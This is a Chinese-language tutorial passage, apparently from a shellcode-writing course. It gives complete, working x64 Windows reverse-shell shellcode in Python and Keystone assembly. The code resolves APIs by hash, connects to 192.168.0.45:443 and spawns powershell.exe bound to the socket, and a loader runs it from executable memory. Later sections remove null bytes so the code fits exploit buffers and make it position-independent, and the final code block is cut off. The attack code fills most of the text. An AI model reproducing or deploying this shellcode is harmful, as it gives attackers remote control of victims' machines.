[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/wFIFgUhw7QIzessj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/wFIFgUhw7QIzessj-image.png)

那么，整合之前的代码，完整的初版 Shellcode 如下：

```python
import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址，即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x0045004E00520045;"    # Unicode字符串 "ENRE"
"  mov r13, 0x002e00320033004c;"    # Unicode字符串 ".23L"
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等，可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等，继续比较，将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等，移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x0065006E00720065;"    # Unicode字符串 "enre"
"  mov r13, 0x002e00320033006c;"    # Unicode字符串 ".23l"
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等，不会是大小写原因，直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址，获取NT头偏移
"   mov r15d, dword ptr [r9 + rcx + 0x88];"     # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量，作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0，那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等，搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    mov rax, 0x6c6c;"        # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    mov rcx, 0x202;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    mov rcx, 2;"     # af为2作为第1个参数
"    mov rdx, 1;"     # type为1作为第2个参数
"    mov r8, 6;"     # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数，保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数，保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    mov rdx, 2;"     # sin_family成员设置为AF_INET，即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    mov rdx, 0xbb01;"     # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov rdx, 0x2d00a8c0;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    mov r8, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x6578652e6c6c;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x100;" 
"    push dx;"      # 成员dwFlags值为0x100"   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可"   
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值，lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

```

接下来，我们将对 Shellcode 进行完善和优化。

### **去除 0x00 字节**  


目前，我们初步的完整 Shellcode 长度为 **644** 字节，且包含了较多的 **0x00** 字符。在 Shellcode 加载器中，0x00 字节的存在并无妨。但如果该 Shellcode 用于缓冲区溢出等漏洞中，因为 0x00 通常为坏字符，因此 Shellcode 的功能不能被正常执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CORCnw9z0vUH7Mvr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CORCnw9z0vUH7Mvr-image.png)

为了能更加直观地定位到需要修改的指令，我们可以访问 [https://defuse.ca/online-x86-assembler.htm#disassembly](https://defuse.ca/online-x86-assembler.htm#disassembly) 在线工具。将汇编指令复制进去，就能看到 Shellcode 与汇编指令的一一对应关系了。例如，我们发现**将 Unicode 字符串赋值给寄存器**的指令就包含大量 0x00 字节，因为每个 Unicode 字符占用 **2** 个字节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/enGdYlnQvMXzJxnq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/enGdYlnQvMXzJxnq-image.png)

最终，我们发现以下这些指令得到的机器码包含 0x00 字

```
call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
mov     rdx, 2
mov     rdx, 0xBB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h
```

对于 **mov r12, 0x0045004e00520045** 指令，我们可以换成：

```
mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;
```

这样，就没有 0x00 字节了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/GmUL0a4C81IMsihf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/GmUL0a4C81IMsihf-image.png)

对于 **mov rcx, 2** 这样较小数值的赋值指令，我们可以**赋值负数**再使用 **neg** 指令获得符号相反的数值：

```
mov rcx, 0xfffffffffffffffe;
neg rcx;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/4p3iAS2KZRgaC82K-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/4p3iAS2KZRgaC82K-image.png)

或者先对**寄存器清零**再**自增**：

```
xor rcx, rcx;
inc rcx;
inc rcx;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1cpqWTPV0AJFvjab-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1cpqWTPV0AJFvjab-image.png)

或者**仅对低位赋值**：

```
xor rcx, rcx;
mov cl,2;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/XVaUBDIytPWtN2V8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/XVaUBDIytPWtN2V8-image.png)

就像这样，除了函数调用指令的 **0x00** 字符外，其余部分修改好的如下：

```python
import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址，即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等，可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等，继续比较，将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等，移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等，不会是大小写原因，直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址，获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量，作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0，那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等，搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数，保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数，保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET，即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值，lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OGuhNqztyAtnjrmR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OGuhNqztyAtnjrmR-image.png)

现在，只有 start 区域调用函数的几个指令依旧包含 0x00，其他指令包含的 0x00 已经清除。

### **PIC 代码**

之所以 start 区域中调用函数的指令包含 0x00 字节，因为对函数的直接调用，可能是通过**相对偏移**定位到函数入口，或者通过**绝对地址**来定位函数，例如函数地址被保存在寄存器中。如果是通过相对偏移定位函数的地址，我们可以将函数代码部分放在上方区域，在下方区域调用函数，这样偏移值是**负数**，可有效避免 0x00 字节。在运行时通过函数的绝对地址调用函数可以让代码实现位置独立且不包含 0x00 字节。

那么，我们将开头的这些函数调用进行拆分。

```
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"
```

让 Shellcode 从一开始就寻找 Kernel32.dll 的地址，找到的话跳转到 jump\_proxy 区域：

```

CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
............
"jump_proxy:"
"   jmp jump_section;"
```

跳转到 **jump\_proxy** 区域后，立即跳转到 **jump\_section** 区域。之所以这么做，如果**跳转距离过长**，指令也可能包含 0x00 字节，因此我们以 jump\_proxy 区域作为中转。jump\_section 代码如下，负责**集中调用函数**：

```
............
" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address
```

整理一下，最终代码如下。需要注意的是，因为这些改动，可能会导致**栈不是对齐状态**，因此如果在调用函数前发现栈未对齐 (RSP并非以 0 结尾)，那么我们手动对齐。以我们之前的代码为例，需要在调用 CreateProcessA 之前手动对齐栈。

```python
import ctypes, struct
